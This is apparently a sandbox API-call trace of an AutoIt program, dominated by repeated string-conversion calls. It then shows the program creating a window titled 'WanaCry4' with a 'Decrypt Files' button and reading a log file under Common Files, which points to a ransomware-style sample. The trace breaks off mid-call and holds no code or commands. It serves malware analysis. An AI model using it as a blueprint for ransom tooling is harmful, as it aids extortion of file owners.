CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.619] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.874] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0x26a4a5f040, fWinIni=0x0 | out: pvParam=0x26a4a5f040) returned 1 [0035.874] GetSystemMetrics (nIndex=7) returned 3 [0035.874] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0x26a4a5f040, fWinIni=0x0 | out: pvParam=0x26a4a5f040) returned 1 [0035.874] GetSystemMetrics (nIndex=8) returned 3 [0035.874] GetSystemMetrics (nIndex=4) returned 23 [0035.874] SetRect (in: lprc=0x26a4a5f040, xLeft=0, yTop=0, xRight=800, yBottom=650 | out: lprc=0x26a4a5f040) returned 1 [0035.874] AdjustWindowRectEx (in: lpRect=0x26a4a5f040, dwStyle=0x84c00000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x26a4a5f040) returned 1 [0035.874] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3 GUI", lpWindowName="WanaCry4", dwStyle=0x84c00000, X=318, Y=92, nWidth=806, nHeight=679, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x7004e [0035.875] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.875] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x81, wParam=0x0, lParam=0x26a4a5e9f0) returned 0x1 [0035.875] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.875] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x83, wParam=0x0, lParam=0x26a4a5ea60) returned 0x0 [0035.875] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.875] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.875] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x5, wParam=0x0, lParam=0x28a0320) returned 0x0 [0035.875] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.875] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x3, wParam=0x0, lParam=0x760141) returned 0x0 [0035.875] SetWindowLongPtrW (hWnd=0x7004e, nIndex=-21, dwNewLong=0x0) returned 0x0 [0035.876] GetClientRect (in: hWnd=0x7004e, lpRect=0x26a4a5f040 | out: lpRect=0x26a4a5f040) returned 1 [0035.876] GetStockObject (i=17) returned 0x10a0047 [0035.876] SendMessageW (hWnd=0x7004e, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0035.876] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.876] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0035.876] GetCursorPos (in: lpPoint=0x26a4a5efe0 | out: lpPoint=0x26a4a5efe0*(x=784, y=510)) returned 1 [0035.876] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5efe0 | out: lpPoint=0x26a4a5efe0) returned 1 [0035.876] GetAsyncKeyState (vKey=1) returned 0 [0035.876] GetAsyncKeyState (vKey=2) returned 0 [0035.876] SetTimer (hWnd=0x0, nIDEvent=0x0, uElapse=0x28, lpTimerFunc=0x7ff756b75a9c) returned 0x7f8c [0035.876] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0035.876] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0035.876] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.876] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0035.876] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.876] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Decrypt Files", dwStyle=0x50030000, X=176, Y=400, nWidth=113, nHeight=41, hWndParent=0x7004e, hMenu=0x3, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x301ea [0035.877] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.877] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x55, wParam=0x301ea, lParam=0x3) returned 0x2 [0035.877] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.877] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0035.877] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.877] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0035.877] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.877] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0035.877] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.877] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x210, wParam=0x30001, lParam=0x301ea) returned 0x0 [0035.878] GetStockObject (i=17) returned 0x10a0047 [0035.878] SendMessageW (hWnd=0x301ea, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0035.878] GetClientRect (in: hWnd=0x301ea, lpRect=0x26a4a5ef10 | out: lpRect=0x26a4a5ef10) returned 1 [0035.878] GetWindowRect (in: hWnd=0x301ea, lpRect=0x26a4a5ef10 | out: lpRect=0x26a4a5ef10) returned 1 [0035.878] SetWindowLongPtrW (hWnd=0x301ea, nIndex=-21, dwNewLong=0x3) returned 0x0 [0035.878] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.878] GetDC (hWnd=0x0) returned 0x1601069e [0035.878] GetDeviceCaps (hdc=0x1601069e, index=90) returned 96 [0035.878] ReleaseDC (hWnd=0x0, hDC=0x1601069e) returned 1 [0035.878] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xb0a06e0 [0035.878] SendMessageW (hWnd=0x301ea, Msg=0x30, wParam=0xb0a06e0, lParam=0x1) returned 0x0 [0035.878] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.879] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="", dwStyle=0x503110c4, X=16, Y=56, nWidth=768, nHeight=329, hWndParent=0x7004e, hMenu=0x4, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x6018a [0035.882] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.882] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x210, wParam=0x40001, lParam=0x6018a) returned 0x0 [0035.882] GetStockObject (i=17) returned 0x10a0047 [0035.882] SendMessageW (hWnd=0x6018a, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0035.883] GetWindowTextLengthW (hWnd=0x6018a) returned 0 [0035.883] SendMessageW (hWnd=0x6018a, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0035.883] GetClientRect (in: hWnd=0x6018a, lpRect=0x26a4a5ef10 | out: lpRect=0x26a4a5ef10) returned 1 [0035.883] GetWindowRect (in: hWnd=0x6018a, lpRect=0x26a4a5ef10 | out: lpRect=0x26a4a5ef10) returned 1 [0035.883] SetWindowLongPtrW (hWnd=0x6018a, nIndex=-21, dwNewLong=0x4) returned 0x0 [0035.883] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.883] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0035.883] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0035.884] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0035.884] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0035.884] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0035.885] CharLowerBuffW (in: lpsz="lresult", cchLength=0x7 | out: lpsz="lresult") returned 0x7 [0035.885] LoadLibraryW (lpLibFileName="user32.dll") returned 0x7ffe2a3b0000 [0035.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0035.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0x26a4c91d90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMessageW", lpUsedDefaultChar=0x0) returned 13 [0035.885] GetProcAddress (hModule=0x7ffe2a3b0000, lpProcName="SendMessageW") returned 0x7ffe2a3b6970 [0035.886] SendMessageW (hWnd=0x6018a, Msg=0xc5, wParam=0x3b9ac9ff, lParam=0x0) returned 0x1 [0035.886] FreeLibrary (hLibModule=0x7ffe2a3b0000) returned 1 [0035.886] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0035.886] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0035.887] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0035.887] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.887] CreateSolidBrush (color=0x0) returned 0xc1006df [0035.888] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.888] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.888] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\log.txt" (normalized: "c:\\progra~1\\common~1\\log.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0035.888] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.888] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5f000, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5f000*=0) returned 1 [0035.888] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5eff0, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5eff0*=0) returned 1 [0035.888] ReadFile (in: hFile=0x18c, lpBuffer=0x26a4cacb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x26a4a5f030, lpOverlapped=0x0 | out: lpBuffer=0x26a4cacb00*, lpNumberOfBytesRead=0x26a4a5f030*=0x324a, lpOverlapped=0x0) returned 1 [0035.888] ReadFile (in: hFile=0x18c, lpBuffer=0x26a4cacb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x26a4a5f030, lpOverlapped=0x0 | out: lpBuffer=0x26a4cacb00*, lpNumberOfBytesRead=0x26a4a5f030*=0x0, lpOverlapped=0x0) returned 1 [0035.888] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0035.889] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5f070, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5f070*=12874) returned 1 [0035.889] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.889] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5f070, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5f070*=0) returned 1 [0035.889] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5efc0, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5efc0*=0) returned 1 [0035.889] ReadFile (in: hFile=0x18c, lpBuffer=0x26a4cacb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x26a4a5f000, lpOverlapped=0x0 | out: lpBuffer=0x26a4cacb00*, lpNumberOfBytesRead=0x26a4a5f000*=0x324a, lpOverlapped=0x0) returned 1 [0035.889] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.889] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0035.889] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.889] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.889] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5ea20, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5ea20*=0) returned 1 [0035.890] SetFilePointerEx (in: 